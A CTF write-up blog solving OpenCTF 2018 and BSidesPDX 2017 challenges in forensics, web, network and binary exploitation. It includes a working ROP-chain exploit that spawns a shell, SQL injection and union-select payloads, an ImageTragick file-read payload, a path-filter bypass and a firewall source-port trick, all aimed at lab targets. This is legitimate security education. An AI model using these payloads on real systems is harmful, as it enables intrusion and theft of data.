b0tchsec

OpenCTF : Do The Needful

Sun, 12 Aug 2018 20:41:00 +0000

Category: Forensics

Points: 50

Description:

Do the needful
https://scoreboard.openctf.com/DoTheNeedful-98e4c6ba71f88e4201a08e7503b0df6124607e39

File Download: DoTheNeedful-98e4c6ba71f88e4201a08e7503b0df6124607e39

When we extract this file, we end up with Challenge.txt. So I go ahead and cat it.

$ cat Challenge.txt 
=AAAAMjU/o7Z+0V17r06KDNmaZHQB1VSlR7wsTDuNk1ok3wfRPMl5YAAV/DwDzAIAERyH3wAAsVVGNBAIs4H

This looks like a base64 string, however, with base64 encoding, the = character is used as padding and should only show up at the end of a base64 string, if at all. So let’s try and reverse the string. I wrote a quick Python script for this, and write the result to a file.

from base64 import b64decode

# Read the file
with open('Challenge.txt', 'rb') as f:
    data = f.read().strip()

# Reverse the string
data = data[::-1]

# Decode
data = b64decode(data)

# Write to a file
with open('b64_decode.raw', 'wb') as f:
    f.write(data)

Now let’s see what kind of file the resulting base64 is.

$ file b64_decode.txt 
b64_decode.txt: gzip compressed data, last modified: Mon Jul 23 03:05:55 2018, from Unix

Ok, looks like a gzip. Let’s extract it!

$ mv b64_decode.txt b64_decode.gz
$ gzip -d b64_decode.gz
$ file b64_decode 
b64_decode: ASCII text

So it’s ASCII, maybe it’s the flag!

$ cat b64_decode 
466c61677b6577373332386866386573676839663233677d0a

Hmm, looks like hex encoding. I just run a simple one-liner in the Python interpreter to decode this.

>>> '466c61677b6577373332386866386573676839663233677d0a'.decode('hex')
'Flag{ew7328hf8esgh9f23g}\n'

Flag

Flag{ew7328hf8esgh9f23g}

OpenCTF : Nightmare 50

Sun, 12 Aug 2018 20:27:00 +0000

Category: Web

Points: 50

Description:

Automated home work scoring my ass. https://shades-of-nightmare.openctf.com/nzpoixyucvkjwnerntasdfascdvasdfqwerqwe/nightmare-50/

When connecting to this website in my browser, I receive the following prompt:

Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:

So it looks like this will execute the Python code you provide. So I test it with the following:

Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:
print('Hello world')
Hello world

And then it immediately closes the connection. So it looks like it only allows a single line of Python code.

I then decide to try and dump the working directory file contents. This can be done with os.listdir('.'), however, this would require a call to import os. Unfortunately, it appears some or all imports are blocked, as an error was returned. So instead, I decide to just guess that there exists a file either called flag.txt or flag in the working directory, and luckily, opening and reading files doesn’t require any imports. So I construct a one-liner to do just that: print(open('flag.txt','r').read()).

Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:
print(open('flag.txt','r').read())
ThisIsAVeryFl@ggyFlag

Flag

ThisIsAVeryFl@ggyFlag

OpenCTF : mbrtetris

Sun, 12 Aug 2018 17:15:00 +0000

Category: Forensics

Points: 25

Description:

boot this on baremetal. - https://kajer.openctf.com/tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6

File Download: tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6

I start by running the file command:

$ file tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 
tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (0x0,33,3), end-CHS (0x1,124,22), startsector 2048, 20480 sectors

Ok, let’s try mounting this:

$ sudo mount tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 /mnt
mount: /mnt: wrong fs type, bad option, bad superblock on /dev/loop19, missing codepage or helper program, or other error.

Hmm, I use some Google-fu, and I stumble upon this useful article on major.io. As the article suggests, let’s run fdisk to calculate the offset.

$ fdisk -l tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 
Disk tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6: 12 MiB, 12582912 bytes, 24576 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3e33db48

Device                                                Boot Start   End Sectors Size Id Type
tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6p1       2048 22527   20480  10M  7 HPFS/NTFS/exFAT

So the math for this should be: 2048*512 == 1048576.

And finally, to successfully mount this:

sudo mount -o ro,loop,offset=1048576 tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 /mnt

And finally, let’s take a look at the contents of this image.

$ cd /mnt
$ sudo ls -la
total 725
drwxrwxrwx  1 root root   4096 Jun  8 12:34  .
drwxr-xr-x 26 root root   4096 Aug  9 09:46  ..
drwxrwxrwx  1 root root   4096 Jun  8 12:34  4
-rwxrwxrwx  1 root root 727552 Jul  4  2017  bigfile.exe
-rwxrwxrwx  1 root root    237 Jun  8 12:34  flag.pyc
drwxrwxrwx  1 root root      0 Jul  5  2017  kuku
drwxrwxrwx  1 root root      0 Jul  5  2017 'System Volume Information'
$ python flag.pyc 
s1mPl3_0n_linux_sux0rZ_oN_winb10w$

Flag

s1mPl3_0n_linux_sux0rZ_oN_winb10w$

OpenCTF : fire walker 0

Sun, 12 Aug 2018 16:54:00 +0000

Category: Network

Points: 50

Description:

Flag: http://172.31.2.97:20621/flag-d12bb978.txt Firewall rules: https://scoreboard.openctf.com/firewalker_0-acaceaa807e20591173451a7a824a23f2728563b

File Download: firewalker_0-acaceaa807e20591173451a7a824a23f2728563b

The goal of the fire walker challenges is straight-forward, download the flag file from the provided http URL. The trick is, there are firewall rules that will prevent you from simply running wget, curl, or opening the URL in your favorite web browser. So let’s take a look at the firewall rules:

$ cat port_20621_rules.txt 
Chain PORT_20621 (1 references)
target     prot opt source               destination         
REJECT     tcp  --  anywhere             anywhere             tcp spts:1024:65535 reject-with icmp-admin-prohibited

So what these rules are describing, is that if the source port is in the range of 1024-65535, the packet will be rejected. For those new to networking, every TCP connection has a source port and a destination port. You are likely already aware of common destination port number used for servers, for example, HTTP uses port 80 by default. In this challenge, port 20621 is the destination port for our HTTP traffic. However, the source port is randomly selected by your client. And because ports under 1024 generally require elevated privellages, most, if not all, programs will never select a port below 1024. However, both nc and curl allow you to manually specify the port number. I decided to use curl because this allowed me to avoid manually building the HTTP GET request. Be sure to run the command with sudo.

$ sudo curl --local-port 22 http://172.31.2.97:20621/flag-d12bb978.txt > flag-d12bb978.txt
$ cat flag-d12bb978.txt 
pr1vil3ge_h4s_its_privile9e5

Flag

pr1vil3ge_h4s_its_privile9e5

OpenCTF : HeadOn

Sun, 12 Aug 2018 16:42:00 +0000

Category: Forensics

Points: 50

Description:

Apply directly to the console
https://scoreboard.openctf.com/HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb

File Download: HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb

$ file blob 
blob: data

I also try running strings on the file, but I don’t find anything interesting.

Let’s try binwalk. If you have never heard of binwalk, it is a fantastic tool for solving forensics challenges. It goes through files of any type, looking for known magic cookies to help identify when one file type is embedded in another. For example, you may be given an ELF file, that has a jpeg embedded in it, binwalk will be able to find it, assuming the file is not encoded or encrypted in some way.

$ binwalk blob 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
9719          0x25F7          End of Zip archive

So the file contains the end of the zip, not the beginning. I then think about the challenge name and descrition, and realize HeadOn is referring to the file header. So while I could have pulled up the zip file specification documentation, this is a CTF, and solving the challenge quickly is most important. So I create a quick zip file so that I can compare the header of the the valid zip file with the invalid zip file header.

$ zip tmp.zip blob

Valid Zip Header (tmp.zip):

00000000: 504b 0304 1400 0000 0800 195e 044d ea3e  PK.........^.M.>

Invalid Zip Header (blob):

00000000: 0000 0000 1400 0000 0800 345b 044d 4921  ..........4[.MI!

Ok, so immediately I notice that the valid zip file starts with the bytes, 504b 0304 while the invalid zip file starts with 0000 0000. So simply use your favorite hex-editor, to change the first 4 bytes of blob to match with the first 4 bytes of tmp.zip. I used sublime-text, but I’ll also include a few lines of Python that can take care of this.

with open('blob', 'rb') as f:
    f.read(4)
    data = f.read()
patched_data = '\x50\x4b\x03\x04' + data
with open('blob_patched.zip', 'wb') as f:
    f.write(patched_data)

Now extract the zip file.

$ unzip blob_patched.zip 
Archive:  blob_patched.zip
  inflating: flag.pdf

And open flag.pdf in your preferred pdf viewer.

Flag

Flag{SDG7qJ734rIw6f3f90832r}

OpenCTF : Baby's First ROP

Sun, 12 Aug 2018 10:22:00 +0000

Category: Binary/Reverse

Points: 100

Description:

If this is your first time, it will be your first time. Available at 172.31.2.62:47802 - https://scoreboard.openctf.com/babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5

File Download: babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5

Investigation

My initial investigation usually starts the same with pwn challenges. I like to start with running the file command so that I get a high-level idea of what I’m working with.

$ file babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a92f66db1ba36b3e54041f5de948f19d9043aed1, not stripped

Ok, so it’s an x86-64 binary, not stripped, and dynamically linked. I next like to run checksec (included with pwntools), as this will be useful information to keep in mind when looking for vulnerabilities and later building the exploit.

$ checksec babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
[*] 'babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No canaries, so if we find a stack overflow vulnerability, we won’t need to circumvent any canaries.
NX is enabled, so as the name and description for the challenge implies, we won’t be able to put shellcode on the stack, we will have to build a ROP chain.
No PIE, so our gadgets should be accessible from hardcoded memory addresses.

I knew I would need gadgets for this challenge (for the ROP chain), so I decided to run ROPgadget on the binary. Unfortunately, I didn’t find that many gadgets, which is common for dynamically linked binaries. So I figured I would move onto reversing.

Reversing

Cracking

I opened up the binary in IDA Pro, I immediately noticed a common call that gets in the way of debugging.

This alarm call causes the program to crash after 30 seconds. This isn’t a lot of time for debugging, so I’m going to go ahead and remove this from the binary. While I certainly could manually hex-edit the bytes and replace with the correct number of NOP instructions, using the IDA Pro plugin, Fentanyl makes this way quicker and easier.

Gadget Hunting

Admittedly, I didn’t do a ton of reversing on this one. I knew I still needed to find gadgets for this challenge, so I started looking for how I might find these. It didn’t take long for me to notice this loop in the assembly.

I didn’t fully reverse this, but with assistence from the symbols, I suspected the gadgets are getting generated at run-time. And based on the mprotect call, I suspect that the location where these gadgets are getting stored is marked as executable. Instead of reversing these gadgets, I decided to attach a debugger after the gadgets are generated and dumping the memory. However, I wasn’t exactly sure how I would dump the memory to a file. After some quick Google-fu, I found this helpful Github gist by herrcore ida_memdump.py. I simply copy&pasted the script into the IDA-Python immediate window. Then I set a breakpoing right before the instruction for call vuln (0x0400717). Once the breakpoint is reached, I dumped gadgets by simply entering the following command into the immediate window: memdump(0x601080, 0x30000, 'gadgets.raw'). To explain where these values are comming from, 0x601080 is the location of where the gadgets are stored in the .bss section. For the length, I used 0x30000 as this is the length provided above to the call to mprotect. And the last parameter is simply an arbitrary filename.

Now to convert this raw dump into a readable, searchable format, I used objdump. The full command is below:

objdump -D -b binary -m i386 gadgets.raw > gadgets_objdump.txt

NOTE: I initially tried to use x86-64 for the option for ‘-m’, but that was throwing an error. Since x86-64 is backwards compatible with x86 (i386), I figured this shouldn’t be a problem. An example of this output can be seen below:

gadgets.raw:     file format binary


Disassembly of section .data:

00000000 <.data>:
       0:   00 00                   add    %al,(%eax)
       2:   c3                      ret    
       3:   00 01                   add    %al,(%ecx)
       5:   c3                      ret    
       6:   00 02                   add    %al,(%edx)
       8:   c3                      ret    
       9:   00 03                   add    %al,(%ebx)
       b:   c3                      ret    
       c:   00 04 c3                add    %al,(%ebx,%eax,8)
       f:   00 05 c3 00 06 c3       add    %al,0xc30600c3
      15:   00 07                   add    %al,(%edi)
........ lots of gadgets ........
   2fffe:   ff c3                   inc    %ebx

Vulnerability Identification

Now before I build my ropchain, I want to make sure I have a vulnerability to trigger the ropchain. Again, using the symbols as a clue, I go straight to the vuln function.

Here, we have a pretty obvious stack overflow. Read is called, with a length of 0x100 and stored in a hard-coded location in .bss. Then, memcpy is called to copy upto 0x100 bytes onto the stack, however, only 0x50 bytes are allocated on the stack for the destination of this memcpy. So now we have our vulnerability!

Solution (Exploit Development)

If you are not familiar with the pwntools library for Python, I highly recommend getting familiar with it. It is incredibly helpful for building exploits for CTFs, and can also come in handy for non-pwn challenges, such as PPC or shellcoding challenges.

So first I start with building my payload. We will need 0x58(88) bytes of padding, followed by our ROP chain.

payload = ''
payload += 'A'*88

Ok, let’s think about what we want our ROP chain to do. The goal for most pwn challenges, is to pop a shell. The easiest way is to somehow execute execve. Let’s take a look at the Linux x64 Syscall chart.

%rax    System call     %rdi                    %rsi                        %rdx
59      sys_execve      const char *filename    const char *const argv[]    const char *const envp[]

So to get a shell, we want something like the following psuedo-code:

rax = 59
rdi = '/bin/sh\x00'
rsi = '\x00\x00\x00\x00\x00\x00\x00\x00'
rdx = '\x00\x00\x00\x00\x00\x00\x00\x00'

So if we can setup the registers to match above, and then execute the syscall instruction, we should get a shell to play with!

We have lots of gadgets to play with, but the easiest gadgets for writing arbitrary data to registers is the pop instruction. This allows us to simply place the desired values directly on the stack. However, I now begin to ask myself, how am I going to get a hardcoded address pointing to /bin/sh\x00? Well, that’s when I noticed when debugging the vuln function, that the rdi register was already pointing to the beginning of my payload padding. So let’s just put ‘/bin/sh\x00’ at the beginning before the padding. And while I’m at it, I also go ahead and add a 64-bit 0x00 value after the /bin/sh\x00 string. Additionally, I also realized that the payload is also stored in a hard-coded location in the .bss section, not just on the stack. So below is what my payload looks like now:

payload = ''
payload += '/bin/sh\x00'
payload += p64(0x00)
payload += 'A'*(88-len(payload))

And memory locations:

0x631080: '/bin/sh\x00'
0x631088: '\x00\x00\x00\x00\x00\x00\x00\x00'

And as I mentioned above, rdi is already pointing to the beginning of my payload, which is now /bin/sh\x00. So we need a gadget for setting the following registers, rax, rsi, and rdx, and of course, the syscall gadget.

The pop instruction will be the easiest for us, so I simply grepped the text dump for pop. Since we decoded the instructions as x86, we’ll be looking for the x86 registers. There are duplicates, but these were the ones I happend to grab:

GADGETS_BASE    = 0x601080
GADGET_POP_EAX  = GADGETS_BASE + 0x7609#:    58                      pop    %eax
GADGET_POP_ESI  = GADGETS_BASE + 0x761b#:    5e                      pop    %esi
GADGET_POP_EDX  = GADGETS_BASE + 0x760f#:    5a                      pop    %edx
GADGET_SYSCALL  = GADGETS_BASE + 0x2d0f#:    0f 05                   syscall

Finally, we are ready to put everything together for the complete ROP chain:

p = getp()

payload = ''
payload += '/bin/sh\x00'
payload += p64(0x00)
payload += 'A'*(88-len(payload))
payload += p64(GADGET_POP_EAX)
payload += p64(59)
payload += p64(GADGET_POP_ESI)
payload += p64(0x631088)
payload += p64(GADGET_POP_EDX)
payload += p64(0x631088)
payload += p64(GADGET_SYSCALL)

p.sendline(payload)

Full Script Download: babys_first_rop_pwner.py

Flag

OpenCTF{Itz_0nly_45_c0Mpl1c4t3d_as_you_want_itTOBE}

OpenCTF : SQL 10

Sun, 12 Aug 2018 09:37:59 +0000

Category: Web

Points: 10

Description:

https://sql-mayham.openctf.com/ziopxuoiwquyerhnszpasdyvzlkxcjlwerqwer/sql-10/

When 1 is entered it returns the following row:

Enter a badge number to view that officers file:1
(1, 'bob', 'simmons', 'none')

Performing a basic sql injection we got the same row back but no error. The server only returns 1 row

Enter a badge number to view that officers file:1 or 1=1
(1, 'bob', 'simmons', 'none')

Entering an ID of 2 no results are found.

Enter a badge number to view that officers file:2 
None

Using the sql injection an OR was added to say “id>2”

Enter a badge number to view that officers file:2 or id>2
(152135123451, 'flag', 'flag', 'Th@tW@53@5yHuh')

This returns the flag in the one other row in the database

Flag

Th@tW@53@5yHuh

OpenCTF : Ellingson Mineral 2

Sun, 12 Aug 2018 09:37:59 +0000

Category: OSINT

Points: 100

Description:

We heard word that The Plague escaped prison three weeks ago. We've been notified that he was recently seen on soundcloud liking a song by ytcracker called "hacker music." Let us know what you find.

First perform a search on soundcloud.com for “ytcracker hacker music” then go to likes. https://soundcloud.com/ytcracker/ytcracker-hacker-music/likes

Go to ThePlague2018x’s profile

https://soundcloud.com/user-843651506

The next clue seemed to be to go to the website on ThePlague2018x’s website which is the following

https://exit.sc/?url=https%3A%2F%2FNjY2YzYxNjc3Yjc0Njg0NTUyNjU1ZjY5NzM1ZjRlMzA1ZjcyMzE0NzY4NzQ1ZjYxNGU0NDVmNTc1MjMwNmU0NzVmNzQ2ODMzNTI2NTVmMzE3MzVmNGY0ZTZjNzk1ZjQ2NzU0ZTVmNDE2ZTY0NWY0MjMwNzI2OTRlNDc3ZAo.com%2Fhome

Extract the string after the hex values “%3A%2F%2F” to “.com” the value between this is the following

666c61677b74684552655f69735f4e305f72314768745f614e445f5752306e475f74683352655f31735f4f4e6c795f46754e5f416e645f423072694e477d

Looking at the string it seems to be hex so encode to hex to get the flag.

>>> '666c61677b74684552655f69735f4e305f72314768745f614e445f5752306e475f74683352655f31735f4f4e6c795f46754e5f416e645f423072694e477d'.decode('hex')
'flag{thERe_is_N0_r1Ght_aND_WR0nG_th3Re_1s_ONly_FuN_And_B0riNG}'

Flag

flag{thERe_is_N0_r1Ght_aND_WR0nG_th3Re_1s_ONly_FuN_And_B0riNG}

BSidesPDX CTF : MakeIcon

Sat, 21 Oct 2017 22:37:00 +0000

Category: Web

Points: 300

Description:

It's free, as in baby.

Host: ab743120bb6ae11e7ac800aee00def00-1664391948.eu-central-1.elb.amazonaws.com

Note

The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information here.

Investigation

Upon loading the screen, we are presented with a file upload and a button to make a jpeg icon. We also note that the version string indicates it was made in 2016, with a version of Version 2016.3717. After playing around with it for a little while, I thought about how there was that ImageMagick bug last year that let you execute code remotely. I wasn’t sure it would work, but it was worth a shot.

As I hunted down the ImageMagick bug, it became painfully apparent that the Version string provided to us was also the CVE number associated with the ImageTragick bug.

From the ImageTragick site, I decided to take the read_file.mvg file and tweak it to meet my needs.

push graphic-context
viewbox 0 0 64 48
image over 0,0 0,0 'label:@/flag'
pop graphic-context

I suspected that the flag would be in /flag since we had solved other challenges where the flag was in /flag. Luckily I was right, and upon upload I was presented with the first few characters of the flag. Unfortunately I didn’t realize there was a hidden field being sent to determine the output size of the icon, so I wasted a lot of time coming up with this solution.

Solution

I uploaded the read_file.mvg file a total of 5 times, modifying the image over line each time in order to shift what I was able to view and move along the string. In order to do this, I had to set the first value (immediately after ‘over’) to -64, -128, -192, -256, and -320. This allowed me to read each section of the flag inside the tiny 64x48 viewport, instead of just modifying the hidden field to produce a bigger image.

Flag

BSidesPDX{alw4ys_ch3ck_f0r_1day_b4_y0u_l00k_f0r_0day}

BSidesPDX CTF : SeaQuell

Sat, 21 Oct 2017 21:37:00 +0000

Category: Web

Points: 200

Description:

Our competitors at SeaQuell have uploaded their latest proprietary data to their employee area. We have already compromised their web developer and obtained the source code to their site, here: seaquell.py

Host: a32fcd6eab2d811e784db0a6f99bb55a-829124630.eu-central-1.elb.amazonaws.com

Port: 1589

Seaquell.py

Note

The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information here.

Investigation

At the beginning of the challenge you are given the source for the website, and you know ou have to attempt to login to the employees-only area. Since we’ve got the source, we can see how the SQL queries are created for the login and craft an attack against that query.

seaquell.py:31: cur.execute('SELECT password FROM employees WHERE username == "'+user+'"')

By injecting " or 1=1 -- into the username field and supplying a random password, we got a result in one of the HTTP headers that gave us a descriptive error. Invalid user: "" or 1=1 --" (got [(u'pirat3',), (u'drillBabyDrill',)])

Now we’ve got passwords, since the SQL query was selecting passwords where a username matched and we inserted a 1=1 which always evaluates true. Next we need to get the usernames associated with these passwords. Nothing a little union select can’t handle. User " union select username from employees-- with a random password returns us a list of passwords in the same HTTP header error message. Invalid user: "" union select username from employees--" (got [(u'sparrowj',), (u'tillersonr',)])

Once we’ve got the username password pairs, we login and there’s a link to the flag. Yes! We’ve got it!

<h1>403</h1>Not Authorized

I guess not. Let’s take another look at the source and see what’s causing this.

        if ('..' in self.path or 
           not (self.path.endswith('.html') or
                self.path.endswith('/') or
                self.path.endswith('.jpg'))):
           self.send_response(403)
           self.end_headers()
           self.wfile.write('<h1>403</h1>Not Authorized')

So it looks like if we try to do any directory traversals we’ll get a 403, and if we don’t end with .html, /, or .jpg we’ll also get a 403. Luckily this is not how you properly evaluate the extension of a file in a URL, so we can abuse it to get the flag.

Solution

Send your get request but append ?.html to the end of the flag url so that it looks like /employees-only/flag?.html. Now you’ll receive the flag because self.path.endswith('.html') evaluates to True

Flag

BSidesPDX{7h3_se4w33d_i5_alw4s_gr33n3r_wh3n_y0u_hav3_cr3ds}